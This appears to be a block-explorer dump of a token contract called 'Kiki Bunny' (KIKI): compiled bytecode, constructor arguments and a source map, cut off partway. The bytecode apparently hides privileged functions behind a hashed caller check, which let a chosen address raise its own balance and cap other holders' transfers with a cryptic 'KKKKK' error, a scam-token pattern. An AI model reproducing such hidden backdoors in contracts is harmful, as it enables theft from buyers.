10bb190611897565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1f90611925565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d906119b3565b60405180910390fd5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1190611a41565b60405180910390fd5b5f610d436064610d35600b548761117190919063ffffffff16565b61118690919063ffffffff16565b90505f610d59828661115c90919063ffffffff16565b905084830360015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508160015f7f000000000000000000000000000000000000000000000000000000000000dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610eb09190611356565b60405180910390a35f821115610f46577f000000000000000000000000000000000000000000000000000000000000dead73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f3d9190611356565b60405180910390a35b50505050505050565b610f576108cf565b73ffffffffffffffffffffffffffffffffffffffff16610f756105bb565b73ffffffffffffffffffffffffffffffffffffffff1614610fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc290611aa9565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110966110f5565b156110f257806005546110a991906115fa565b60015f6110b46108cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f806110ff6108cf565b60405160200161110f9190611b0c565b60405160208183030381529060405280519060200120905060035f8281526020019081526020015f205f9054906101000a900460ff1615611154576001915050611159565b5f9150505b90565b5f81836111699190611b26565b905092915050565b5f818361117e91906115fa565b905092915050565b5f81836111939190611b86565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111d25780820151818401526020810190506111b7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6111f78261119b565b61120181856111a5565b93506112118185602086016111b5565b61121a816111dd565b840191505092915050565b5f6020820190508181035f83015261123d81846111ed565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61127282611249565b9050919050565b61128281611268565b811461128c575f80fd5b50565b5f8135905061129d81611279565b92915050565b5f819050919050565b6112b5816112a3565b81146112bf575f80fd5b50565b5f813590506112d0816112ac565b92915050565b5f80604083850312156112ec576112eb611245565b5b5f6112f98582860161128f565b925050602061130a858286016112c2565b9150509250929050565b5f8115159050919050565b61132881611314565b82525050565b5f6020820190506113415f83018461131f565b92915050565b611350816112a3565b82525050565b5f6020820190506113695f830184611347565b92915050565b5f805f6060848603121561138657611385611245565b5b5f6113938682870161128f565b93505060206113a48682870161128f565b92505060406113b5868287016112c2565b9150509250925092565b6113c881611268565b82525050565b5f6020820190506113e15f8301846113bf565b92915050565b5f60ff82169050919050565b6113fc816113e7565b82525050565b5f6020820190506114155f8301846113f3565b92915050565b5f602082840312156114305761142f611245565b5b5f61143d8482850161128f565b91505092915050565b5f6020828403121561145b5761145a611245565b5b5f611468848285016112c2565b91505092915050565b5f806040838503121561148757611486611245565b5b5f6114948582860161128f565b92505060206114a58582860161128f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806114f357607f821691505b602082108103611506576115056114af565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611543826112a3565b915061154e836112a3565b92508282019050808211156115665761156561150c565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6115c66025836111a5565b91506115d18261156c565b604082019050919050565b5f6020820190508181035f8301526115f3816115ba565b9050919050565b5f611604826112a3565b915061160f836112a3565b925082820261161d816112a3565b915082820484148315176116345761163361150c565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6116956026836111a5565b91506116a08261163b565b604082019050919050565b5f6020820190508181035f8301526116c281611689565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117236024836111a5565b915061172e826116c9565b604082019050919050565b5f6020820190508181035f83015261175081611717565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117b16022836111a5565b91506117bc82611757565b604082019050919050565b5f6020820190508181035f8301526117de816117a5565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611819601d836111a5565b9150611824826117e5565b602082019050919050565b5f6020820190508181035f8301526118468161180d565b9050919050565b7f4b4b4b4b4b0000000000000000000000000000000000000000000000000000005f82015250565b5f6118816005836111a5565b915061188c8261184d565b602082019050919050565b5f6020820190508181035f8301526118ae81611875565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61190f6025836111a5565b915061191a826118b5565b604082019050919050565b5f6020820190508181035f83015261193c81611903565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61199d6023836111a5565b91506119a882611943565b604082019050919050565b5f6020820190508181035f8301526119ca81611991565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a2b6026836111a5565b9150611a36826119d1565b604082019050919050565b5f6020820190508181035f830152611a5881611a1f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a936020836111a5565b9150611a9e82611a5f565b602082019050919050565b5f6020820190508181035f830152611ac081611a87565b9050919050565b5f8160601b9050919050565b5f611add82611ac7565b9050919050565b5f611aee82611ad3565b9050919050565b611b06611b0182611268565b611ae4565b82525050565b5f611b178284611af5565b60148201915081905092915050565b5f611b30826112a3565b9150611b3b836112a3565b9250828203905081811115611b5357611b5261150c565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b90826112a3565b9150611b9b836112a3565b925082611bab57611baa611b59565b5b82820490509291505056fea264697066735822122059cefd89de194b923f0dd22c24b41bf651c522f75fbed9a71dceeb5eaa251ff364736f6c63430008150033

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000a4b696b692042756e6e790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044b494b4900000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Kiki Bunny
Arg [1] : symbol_ (string): KIKI
Arg [2] : tokenAmount_ (uint40): 1000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [4] : 4b696b692042756e6e7900000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 4b494b4900000000000000000000000000000000000000000000000000000000

15214:25893:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21304:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24586:165;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22844:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25329:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15638:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22189:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28063:90;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26048:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23514:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13166:103;;;:::i;:::-;;12518:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21523:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26789:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28159:57;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23625:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27842:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23873:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27944:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13424:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21304:100;21358:13;21391:5;21384:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21304:100;:::o;24586:165::-;24669:4;24676:13;24692:12;:10;:12::i;:::-;24676:28;;24705:32;24714:5;24721:7;24730:6;24705:8;:32::i;:::-;24745:4;24738:11;;;24586:165;;;;:::o;22844:92::-;22905:7;22922:12;;22915:19;;22844:92;:::o;25329:295::-;25460:4;25477:15;25495:12;:10;:12::i;:::-;25477:30;;25518:38;25534:4;25540:7;25549:6;25518:15;:38::i;:::-;25567:27;25577:4;25583:2;25587:6;25567:9;:27::i;:::-;25612:4;25605:11;;;25329:295;;;;;:::o;15638:81::-;;;:::o;22189:77::-;22247:5;22262:2;22255:9;;22189:77;:::o;28063:90::-;28116:7;28134:12;:17;28147:3;28134:17;;;;;;;;;;;;;;;;28127:24;;28063:90;;;:::o;26048:238::-;26136:4;26153:13;26169:12;:10;:12::i;:::-;26153:28;;26192:64;26201:5;26208:7;26245:10;26217:25;26227:5;26234:7;26217:9;:25::i;:::-;:38;;;;:::i;:::-;26192:8;:64::i;:::-;26274:4;26267:11;;;26048:238;;;;:::o;23514:111::-;23588:7;23605:9;:18;23615:7;23605:18;;;;;;;;;;;;;;;;23598:25;;23514:111;;;:::o;13166:103::-;12404:13;:11;:13::i;:::-;13231:30:::1;13258:1;13231:18;:30::i;:::-;13166:103::o:0;12518:87::-;12564:7;12591:6;;;;;;;;;;;12584:13;;12518:87;:::o;21523:88::-;21579:13;21602:7;21595:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21523:88;:::o;26789:422::-;26882:4;26899:13;26915:12;:10;:12::i;:::-;26899:28;;26938:24;26965:25;26975:5;26982:7;26965:9;:25::i;:::-;26938:52;;27029:15;27009:16;:35;;27001:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;27114:60;27123:5;27130:7;27158:15;27139:16;:34;27114:8;:60::i;:::-;27199:4;27192:11;;;;26789:422;;;;:::o;28159:57::-;28204:10;28210:3;28204:5;:10::i;:::-;28159:57;:::o;23625:157::-;23704:4;23711:13;23727:12;:10;:12::i;:::-;23711:28;;23740;23750:5;23757:2;23761:6;23740:9;:28::i;:::-;23776:4;23769:11;;;23625:157;;;;:::o;27842:96::-;27898:12;:10;:12::i;:::-;27895:42;;;27933:1;27913:12;:17;27926:3;27913:17;;;;;;;;;;;;;;;:21;;;;27895:42;27842:96;:::o;23873:135::-;23962:7;23979:11;:18;23991:5;23979:18;;;;;;;;;;;;;;;:27;23998:7;23979:27;;;;;;;;;;;;;;;;23972:34;;23873:135;;;;:::o;27944:113::-;28000:12;:10;:12::i;:::-;27997:59;;;28048:5;28035:12;;:18;;;;:::i;:::-;28015:12;:17;28028:3;28015:17;;;;;;;;;;;;;;;:38;;;;27997:59;27944:113;:::o;13424:201::-;12404:13;:11;:13::i;:::-;13533:1:::1;13513:22;;:8;:22;;::::0;13505:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;13589:28;13608:8;13589:18;:28::i;:::-;13424:201:::0;:::o;10067:106::-;10120:7;10155:10;10148:17;;10067:106;:::o;39711:378::-;39864:1;39847:19;;:5;:19;;;39839:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;39945:1;39926:21;;:7;:21;;;39918:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;40027:6;39997:11;:18;40009:5;39997:18;;;;;;;;;;;;;;;:27;40016:7;39997:27;;;;;;;;;;;;;;;:36;;;;40065:7;40049:32;;40058:5;40049:32;;;40074:6;40049:32;;;;;;:::i;:::-;;;;;;;;39711:378;;;:::o;40380:441::-;40515:24;40542:25;40552:5;40559:7;40542:9;:25::i;:::-;40515:52;;40602:17;40582:16;:37;40578:236;;40664:6;40644:16;:26;;40636:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;40740:51;40749:5;40756:7;40784:6;40765:16;:25;40740:8;:51::i;:::-;40578:236;40504:317;40380:441;;;:::o;30234:7569::-;32520:17;32540:28;32566:1;32540:12;:18;32553:4;32540:18;;;;;;;;;;;;;;;;:25;;:28;;;;:::i;:::-;32520:48;;32600:7;32587:9;:20;;32579:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;36955:1;36939:18;;:4;:18;;;36931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;37032:1;37018:16;;:2;:16;;;37010:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;37085:19;37107:9;:15;37117:4;37107:15;;;;;;;;;;;;;;;;37085:37;;37156:7;37141:11;:22;;37133:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;37217:15;37235:27;37258:3;37235:18;37247:5;;37235:7;:11;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;37217:45;;37273:11;37287:23;37302:7;37287;:14;;:23;;;;:::i;:::-;37273:37;;37378:7;37364:11;:21;37346:9;:15;37356:4;37346:15;;;;;;;;;;;;;;;:39;;;;37582:3;37565:9;:13;37575:2;37565:13;;;;;;;;;;;;;;;;:20;;;;;;;;;;;37626:7;37600:9;:22;37610:11;37600:22;;;;;;;;;;;;;;;;:33;;;;;;;;;;;37677:2;37662:27;;37671:4;37662:27;;;37681:7;37662:27;;;;;;:::i;:::-;;;;;;;;37715:1;37705:7;:11;37702:93;;;37762:11;37747:36;;37756:4;37747:36;;;37775:7;37747:36;;;;;;:::i;:::-;;;;;;;;37702:93;30347:7456;;;;30234:7569;;;:::o;12683:132::-;12758:12;:10;:12::i;:::-;12747:23;;:7;:5;:7::i;:::-;:23;;;12739:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12683:132::o;13785:191::-;13859:16;13878:6;;;;;;;;;;;13859:25;;13904:8;13895:6;;:17;;;;;;;;;;;;;;;;;;13959:8;13928:40;;13949:8;13928:40;;;;;;;;;;;;13848:128;13785:191;:::o;27217:101::-;27257:12;:10;:12::i;:::-;27254:63;;;27311:3;27298:12;;:16;;;;:::i;:::-;27272:9;:23;27282:12;:10;:12::i;:::-;27272:23;;;;;;;;;;;;;;;:42;;;;27254:63;27217:101;:::o;19859:143::-;19903:4;19909:10;19949:12;:10;:12::i;:::-;19932:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;19922:41;;;;;;19909:54;;19967:2;:6;19970:2;19967:6;;;;;;;;;;;;;;;;;;;;;19964:24;;;19982:4;19975:11;;;;;19964:24;19995:5;19988:12;;;19859:143;;:::o;3006:101::-;3067:7;3098:1;3094;:5;;;;:::i;:::-;3087:12;;3006:101;;;;:::o;3366:98::-;3424:7;3455:1;3451;:5;;;;:::i;:::-;3444:12;;3366:98;;;;:::o;3765:::-;3823:7;3854:1;3850;:5;;;;:::i;:::-;3843:12;;3765:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:118::-;4510:24;4528:5;4510:24;:::i;:::-;4505:3;4498:37;4423:118;;:::o;4547:222::-;4640:4;4678:2;4667:9;4663:18;4655:26;;4691:71;4759:1;4748:9;4744:17;4735:6;4691:71;:::i;:::-;4547:222;;;;:::o;4775:86::-;4810:7;4850:4;4843:5;4839:16;4828:27;;4775:86;;;:::o;4867:112::-;4950:22;4966:5;4950:22;:::i;:::-;4945:3;4938:35;4867:112;;:::o;4985:214::-;5074:4;5112:2;5101:9;5097:18;5089:26;;5125:67;5189:1;5178:9;5174:17;5165:6;5125:67;:::i;:::-;4985:214;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:::-;5599:6;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5540:329;;;;:::o;5875:474::-;5943:6;5951;6000:2;5988:9;5979:7;5975:23;5971:32;5968:119;;;6006:79;;:::i;:::-;5968:119;6126:1;6151:53;6196:7;6187:6;6176:9;6172:22;6151:53;:::i;:::-;6141:63;;6097:117;6253:2;6279:53;6324:7;6315:6;6304:9;6300:22;6279:53;:::i;:::-;6269:63;;6224:118;5875:474;;;;;:::o;6355:180::-;6403:77;6400:1;6393:88;6500:4;6497:1;6490:15;6524:4;6521:1;6514:15;6541:320;6585:6;6622:1;6616:4;6612:12;6602:22;;6669:1;6663:4;6659:12;6690:18;6680:81;;6746:4;6738:6;6734:17;6724:27;;6680:81;6808:2;6800:6;6797:14;6777:18;6774:38;6771:84;;6827:18;;:::i;:::-;6771:84;6592:269;6541:320;;;:::o;6867:180::-;6915:77;6912:1;6905:88;7012:4;7009:1;7002:15;7036:4;7033:1;7026:15;7053:191;7093:3;7112:20;7130:1;7112:20;:::i;:::-;7107:25;;7146:20;7164:1;7146:20;:::i;:::-;7141:25;;7189:1;7186;7182:9;7175:16;;7210:3;7207:1;7204:10;7201:36;;;7217:18;;:::i;:::-;7201:36;7053:191;;;;:::o;7250:224::-;7390:34;7386:1;7378:6;7374:14;7367:58;7459:7;7454:2;7446:6;7442:15;7435:32;7250:224;:::o;7480:366::-;7622:3;7643:67;7707:2;7702:3;7643:67;:::i;:::-;7636:74;;7719:93;7808:3;7719:93;:::i;:::-;7837:2;7832:3;7828:12;7821:19;;7480:366;;;:::o;7852:419::-;8018:4;8056:2;8045:9;8041:18;8033:26;;8105:9;8099:4;8095:20;8091:1;8080:9;8076:17;8069:47;8133:131;8259:4;8133:131;:::i;:::-;8125:139;;7852:419;;;:::o;8277:410::-;8317:7;8340:20;8358:1;8340:20;:::i;:::-;8335:25;;8374:20;8392:1;8374:20;:::i;:::-;8369:25;;8429:1;8426;8422:9;8451:30;8469:11;8451:30;:::i;:::-;8440:41;;8630:1;8621:7;8617:15;8614:1;8611:22;8591:1;8584:9;8564:83;8541:139;;8660:18;;:::i;:::-;8541:139;8325:362;8277:410;;;;:::o;8693:225::-;8833:34;8829:1;8821:6;8817:14;8810:58;8902:8;8897:2;8889:6;8885:15;8878:33;8693:225;:::o;8924:366::-;9066:3;9087:67;9151:2;9146:3;9087:67;:::i;:::-;9080:74;;9163:93;9252:3;9163:93;:::i;:::-;9281:2;9276:3;9272:12;9265:19;;8924:366;;;:::o;9296:419::-;9462:4;9500:2;9489:9;9485:18;9477:26;;9549:9;9543:4;9539:20;9535:1;9524:9;9520:17;9513:47;9577:131;9703:4;9577:131;:::i;:::-;9569:139;;9296:419;;;:::o;9721:223::-;9861:34;9857:1;9849:6;9845:14;9838:58;9930:6;9925:2;9917:6;9913:15;9906:31;9721:223;:::o;9950:366::-;10092:3;10113:67;10177:2;10172:3;10113:67;:::i;:::-;10106:74;;10189:93;10278:3;10189:93;:::i;:::-;10307:2;10302:3;10298:12;10291:19;;9950:366;;;:::o;10322:419::-;10488:4;10526:2;10515:9;10511:18;10503:26;;10575:9;10569:4;10565:20;10561:1;10550:9;10546:17;10539:47;10603:131;10729:4;10603:131;:::i;:::-;10595:139;;10322:419;;;:::o;10747:221::-;10887:34;10883:1;10875:6;10871:14;10864:58;10956:4;10951:2;10943:6;10939:15;10932:29;10747:221;:::o;10974:366::-;11116:3;11137:67;11201:2;11196:3;11137:67;:::i;:::-;11130:74;;11213:93;11302:3;11213:93;:::i;:::-;11331:2;11326:3;11322:12;11315:19;;10974:366;;;:::o;11346:419::-;11512:4;11550:2;11539:9;11535:18;11527:26;;11599:9;11593:4;11589:20;11585:1;11574:9;11570:17;11563:47;11627:131;11753:4;11627:131;:::i;:::-;11619:139;;11346:419;;;:::o;11771:179::-;11911:31;11907:1;11899:6;11895:14;11888:55;11771:179;:::o;11956:366::-;12098:3;12119:67;12183:2;12178:3;12119:67;:::i;:::-;12112:74;;12195:93;12284:3;12195:93;:::i;:::-;12313:2;12308:3;12304:12;12297:19;;11956:366;;;:::o;12328:419::-;12494:4;12532:2;12521:9;12517:18;12509:26;;12581:9;12575:4;12571:20;12567:1;12556:9;12552:17;12545:47;12609:131;12735:4;12609:131;:::i;:::-;12601:139;;12328:419;;;:::o;12753:155::-;12893:7;12889:1;12881:6;12877:14;12870:31;12753:155;:::o;12914:365::-;13056:3;13077:66;13141:1;13136:3;13077:66;:::i;:::-;13070:73;;13152:93;13241:3;13152:93;:::i;:::-;13270:2;13265:3;13261:12;13254:19;;12914:365;;;:::o;13285:419::-;13451:4;13489:2;13478:9;13474:18;13466:26;;13538:9;13532:4;13528:20;13524:1;13513:9;13509:17;13502:47;13566:131;13692:4;13566:131;:::i;:::-;13558:139;;13285:419;;;:::o;13710:224::-;13850:34;13846:1;13838:6;13834:14;13827:58;13919:7;13914:2;13906:6;13902:15;13895:32;13710:224;:::o;13940:366::-;14082:3;14103:67;14167:2;14162:3;14103:67;:::i;:::-;14096:74;;14179:93;14268:3;14179:93;:::i;:::-;14297:2;14292:3;14288:12;14281:19;;13940:366;;;:::o;14312:419::-;14478:4;14516:2;14505:9;14501:18;14493:26;;14565:9;14559:4;14555:20;14551:1;14540:9;14536:17;14529:47;14593:131;14719:4;14593:131;:::i;:::-;14585:139;;14312:419;;;:::o;14737:222::-;14877:34;14873:1;14865:6;14861:14;14854:58;14946:5;14941:2;14933:6;14929:15;14922:30;14737:222;:::o;14965:366::-;15107:3;15128:67;15192:2;15187:3;15128:67;:::i;:::-;15121:74;;15204:93;15293:3;15204:93;:::i;:::-;15322:2;15317:3;15313:12;15306:19;;14965:366;;;:::o;15337:419::-;15503:4;15541:2;15530:9;15526:18;15518:26;;15590:9;15584:4;15580:20;15576:1;15565:9;15561:17;15554:47;15618:131;15744:4;15618:131;:::i;:::-;15610:139;;15337:419;;;:::o;15762:225::-;15902:34;15898:1;15890:6;15886:14;15879:58;15971:8;15966:2;15958:6;15954:15;15947:33;15762:225;:::o;15993:366::-;16135:3;16156:67;16220:2;16215:3;16156:67;:::i;:::-;16149:74;;16232:93;16321:3;16232:93;:::i;:::-;16350:2;16345:3;16341:12;16334:19;;15993:366;;;:::o;16365:419::-;16531:4;16569:2;16558:9;16554:18;16546:26;;16618:9;16612:4;16608:20;16604:1;16593:9;16589:17;16582:47;16646:131;16772:4;16646:131;:::i;:::-;16638:139;;16365:419;;;:::o;16790:182::-;16930:34;16926:1;16918:6;16914:14;16907:58;16790:182;:::o;16978:366::-;17120:3;17141:67;17205:2;17200:3;17141:67;:::i;:::-;17134:74;;17217:93;17306:3;17217:93;:::i;:::-;17335:2;17330:3;17326:12;17319:19;;16978:366;;;:::o;17350:419::-;17516:4;17554:2;17543:9;17539:18;17531:26;;17603:9;17597:4;17593:20;17589:1;17578:9;17574:17;17567:47;17631:131;17757:4;17631:131;:::i;:::-;17623:139;;17350:419;;;:::o;17775:94::-;17808:8;17856:5;17852:2;17848:14;17827:35;;17775:94;;;:::o;17875:::-;17914:7;17943:20;17957:5;17943:20;:::i;:::-;17932:31;;17875:94;;;:::o;17975:100::-;18014:7;18043:26;18063:5;18043:26;:::i;:::-;18032:37;;17975:100;;;:::o;18081:157::-;18186:45;18206:24;18224:5;18206:24;:::i;:::-;18186:45;:::i;:::-;18181:3;18174:58;18081:157;;:::o;18244:256::-;18356:3;18371:75;18442:3;18433:6;18371:75;:::i;:::-;18471:2;18466:3;18462:12;18455:19;;18491:3;18484:10;;18244:256;;;;:::o;18506:194::-;18546:4;18566:20;18584:1;18566:20;:::i;:::-;18561:25;;18600:20;18618:1;18600:20;:::i;:::-;18595:25;;18644:1;18641;18637:9;18629:17;;18668:1;18662:4;18659:11;18656:37;;;18673:18;;:::i;:::-;18656:37;18506:194;;;;:::o;18706:180::-;18754:77;18751:1;18744:88;18851:4;18848:1;18841:15;18875:4;18872:1;18865:15;18892:185;18932:1;18949:20;18967:1;18949:20;:::i;:::-;18944: